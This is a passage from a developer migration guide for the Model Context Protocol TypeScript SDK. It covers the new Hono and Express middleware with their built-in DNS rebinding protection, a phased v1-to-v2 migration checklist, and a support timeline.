`WebSocketClientTransport` was non-spec and is removed in v2 alpha.1 ([PR #1783](https://github.com/modelcontextprotocol/typescript-sdk/pull/1783)). Use stdio or Streamable HTTP.

### DNS Rebinding Protection

`createMcpExpressApp()` and `createMcpHonoApp()` include Host header validation by default for localhost servers. This prevents DNS rebinding attacks where a malicious website could access your local MCP server.

## Middleware Packages

### @modelcontextprotocol/hono

```typescript
import { createMcpHonoApp } from "@modelcontextprotocol/hono";

const mcpApp = createMcpHonoApp(
  (server) => {
    server.registerTool("my-tool", config, handler);
  },
  { name: "my-server", version: "1.0.0" },
);

const app = new Hono();
app.route("/mcp", mcpApp);
```

### @modelcontextprotocol/express

```typescript
import { createMcpExpressApp } from "@modelcontextprotocol/express";

const mcpApp = createMcpExpressApp(
  (server) => {
    server.registerTool("my-tool", config, handler);
  },
  { name: "my-server", version: "1.0.0" },
);

const app = express();
app.use("/mcp", mcpApp);
```

## Migration Checklist

### Phase 1: Prepare (do now, on v1)

- [ ] Use `.describe()` on every Zod schema field
- [ ] Use `z.object()` wrappers (not raw shapes) for tool schemas
- [ ] Set tool annotations on all tools
- [ ] Use `isError: true` for all tool-level errors (not McpError for validation)
- [ ] Bump to SDK v1.28.0 (catches plain JSON Schema errors, security fix)
- [ ] Register all tools/resources before `connect()` ([#893](https://github.com/modelcontextprotocol/typescript-sdk/issues/893))
- [ ] Ensure per-request server+transport pattern (not shared instances)

### Phase 2: Migrate (when v2 is stable)

- [ ] Switch to ESM (`"type": "module"` in package.json)
- [ ] Upgrade Node.js to 20+
- [ ] Upgrade Zod to v4
- [ ] Replace `@modelcontextprotocol/sdk` with split packages
- [ ] Replace `server.tool()` with `registerTool()`
- [ ] Replace `server.resource()` with `registerResource()`
- [ ] Replace `McpError` with `ProtocolError`
- [ ] Update handler signatures: `extra` -> `ctx`
- [ ] Remove any SSEServerTransport usage
- [ ] Add `outputSchema` + `structuredContent` to tools
- [ ] Switch to framework middleware if using Hono/Express
- [ ] Test with `MCP-Protocol-Version: 2025-11-25` header

### Phase 3: Optimize (after migration)

- [ ] Add `outputSchema` to all tools for typed outputs
- [ ] Implement dynamic tool loading for large tool sets
- [ ] Use `structuredContent` for all responses
- [ ] Review DNS rebinding protection settings
- [ ] Remove any Zod v3 compatibility shims

### Timeline

v1.x gets 6 months of support after v2 stable ships. No firm v2 stable date has been published - only alpha releases exist so far - so v1 remains the production choice. No rush to migrate, but write new code with v2 patterns in mind.


Security scan verdicts — ClawScan: clean | static analysis: clean | VirusTotal: clean | SkillSpector: clean (LOW)